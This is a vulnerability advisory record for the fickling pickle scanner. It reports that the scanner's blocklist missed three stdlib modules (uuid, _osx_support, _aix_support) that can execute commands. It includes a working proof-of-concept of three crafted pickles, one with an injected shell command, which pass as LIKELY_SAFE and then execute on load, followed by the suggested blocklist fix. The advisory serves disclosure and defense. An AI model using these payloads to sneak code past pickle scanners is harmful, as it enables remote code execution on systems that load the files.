{"id":"GHSA-5hwf-rc88-82xm","aliases":[],"url":"https://o3.security/vulnerability/GHSA-5hwf-rc88-82xm","summary":"Fickling missing RCE-capable modules in UNSAFE_IMPORTS","details":"# Assessment\n\nThe modules `uuid`, `_osx_support` and `_aix_support` were added to the blocklist of unsafe imports (https://github.com/trailofbits/fickling/commit/ffac3479dbb97a7a1592d85991888562d34dd05b).\n\n# Original report\n\n## Summary\n\nfickling's `UNSAFE_IMPORTS` blocklist is missing at least 3 stdlib modules that provide direct arbitrary command execution: `uuid`, `_osx_support`, and `_aix_support`. These modules contain functions that internally call `subprocess.Popen()` or `os.system()` with attacker-controlled arguments. A malicious pickle file importing these modules passes both `UnsafeImports` and `NonStandardImports` checks.\n\n\n## Affected Versions\n\n- fickling <= 0.1.8 (all versions)\n\n## Details\n\n### Missing Modules\n\nfickling's `UNSAFE_IMPORTS` (86 modules) does not include:\n\n| Module | RCE Function | Internal Mechanism | Importable On |\n|--------|-------------|-------------------|---------------|\n| `uuid` | `_get_command_stdout(cmd, *args)` | `subprocess.Popen((cmd,) + args, stdout=PIPE, stderr=DEVNULL)` | All platforms |\n| `_osx_support` | `_read_output(cmdstring)` | `os.system(cmd)` via temp file | All platforms |\n| `_osx_support` | `_find_build_tool(toolname)` | Command injection via `%s` in `_read_output(\"/usr/bin/xcrun -find %s\" % toolname)` | All platforms |\n| `_aix_support` | `_read_cmd_output(cmdstring)` | `os.system(cmd)` via temp file | All platforms |\n\n**Critical note:** Despite the names `_osx_support` and `_aix_support` suggesting platform-specific modules, they are importable on ALL platforms. Python includes them in the standard distribution regardless of OS.\n\n### Why These Pass fickling\n\n1. **`NonStandardImports`**: These are stdlib modules, so `is_std_module()` returns True → not flagged\n2. **`UnsafeImports`**: Module names not in `UNSAFE_IMPORTS` → not flagged\n3. **`OvertlyBadEvals`**: Function names added to `likely_safe_imports` (stdlib) → skipped\n4. **`UnusedVariables`**: Defeated by BUILD opcode (purposely unhardend)\n\n### Proof of Concept (using fickling's opcode API)\n\n```python\nfrom fickling.fickle import (\n    Pickled, Proto, Frame, ShortBinUnicode, StackGlobal,\n    TupleOne, TupleTwo, Reduce, EmptyDict, SetItem, Build, Stop,\n)\nfrom fickling.analysis import check_safety\nimport struct, pickle\n\nframe_data = b\"\\x95\" + struct.pack(\"<Q\", 60)\n\n# uuid._get_command_stdout — works on ALL platforms\nuuid_payload = Pickled([\n    Proto(4),\n    Frame(struct.pack(\"<Q\", 60), data=frame_data),\n    ShortBinUnicode(\"uuid\"),\n    ShortBinUnicode(\"_get_command_stdout\"),\n    StackGlobal(),\n    ShortBinUnicode(\"echo\"),\n    ShortBinUnicode(\"PROOF_OF_CONCEPT\"),\n    TupleTwo(),\n    Reduce(),\n    EmptyDict(), ShortBinUnicode(\"x\"), ShortBinUnicode(\"y\"), SetItem(),\n    Build(),\n    Stop(),\n])\n\n# _aix_support._read_cmd_output — works on ALL platforms\naix_payload = Pickled([\n    Proto(4),\n    Frame(struct.pack(\"<Q\", 60), data=frame_data),\n    ShortBinUnicode(\"_aix_support\"),\n    ShortBinUnicode(\"_read_cmd_output\"),\n    StackGlobal(),\n    ShortBinUnicode(\"echo PROOF_OF_CONCEPT\"),\n    TupleOne(),\n    Reduce(),\n    EmptyDict(), ShortBinUnicode(\"x\"), ShortBinUnicode(\"y\"), SetItem(),\n    Build(),\n    Stop(),\n])\n\n# _osx_support._find_build_tool — command injection via %s\nosx_payload = Pickled([\n    Proto(4),\n    Frame(struct.pack(\"<Q\", 60), data=frame_data),\n    ShortBinUnicode(\"_osx_support\"),\n    ShortBinUnicode(\"_find_build_tool\"),\n    StackGlobal(),\n    ShortBinUnicode(\"x; echo INJECTED #\"),\n    TupleOne(),\n    Reduce(),\n    EmptyDict(), ShortBinUnicode(\"x\"), ShortBinUnicode(\"y\"), SetItem(),\n    Build(),\n    Stop(),\n])\n\n# All three: fickling reports LIKELY_SAFE\nfor name, p in [(\"uuid\", uuid_payload), (\"aix\", aix_payload), (\"osx\", osx_payload)]:\n    result = check_safety(p)\n    print(f\"{name}: severity={result.severity}, issues={len(result.results)}\")\n    # Output: severity=Severity.LIKELY_SAFE, issues=0\n\n# All three: pickle.loads() executes the command\npickle.loads(uuid_payload.dumps())  # prints PROOF_OF_CONCEPT\n```\n\n### Verified Output\n\n```\n$ python3 poc.py\nuuid: severity=Severity.LIKELY_SAFE, issues=0\naix: severity=Severity.LIKELY_SAFE, issues=0\nosx: severity=Severity.LIKELY_SAFE, issues=0\nPROOF_OF_CONCEPT\n```\n\n## Impact\n\nAn attacker can craft a pickle file that executes arbitrary system commands while fickling reports it as `LIKELY_SAFE`. This affects any system relying on fickling for pickle safety validation, including ML model loading pipelines.\n\n## Suggested Fix\n\nAdd to `UNSAFE_IMPORTS` in fickling:\n```python\n\"uuid\",\n\"_osx_support\",\n\"_aix_support\",\n```\n\n**Longer term:** Consider an allowlist approach — only permit known-safe stdlib modules rather than blocking known-dangerous ones. The current 86-module blocklist still has gaps because the Python stdlib contains hundreds of modules.\n\n## Resources\n\n- Python source: `Lib/uuid.py` lines 156-168 (`_get_command_stdout`)\n- Python source: `Lib/_osx_support.py` lines 35-52 (`_read_output`), lines 54-68 (`_find_build_tool`)\n- Python source: `Lib/_aix_support.py` lines 14-30 (`_read_cmd_output`)\n- fickling source: `analysis.py` `UNSAFE_IMPORTS` set","published":"2026-03-04T21:31:03Z","modified":"2026-03-04T21:49:44.899883Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"fickling","fixedVersion":"0.1.9"}],"fix":{"url":"https://github.com/trailofbits/fickling/commit/ffac3479dbb97a7a1592d85991888562d34dd05b","label":"trailofbits/fickling@ffac347"},"references":[{"type":"WEB","url":"https://github.com/trailofbits/fickling/security/advisories/GHSA-5hwf-rc88-82xm"},{"type":"WEB","url":"https://github.com/trailofbits/fickling/commit/ffac3479dbb97a7a1592d85991888562d34dd05b"},{"type":"PACKAGE","url":"https://github.com/trailofbits/fickling"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-03-04T21:49:44.899883Z"}}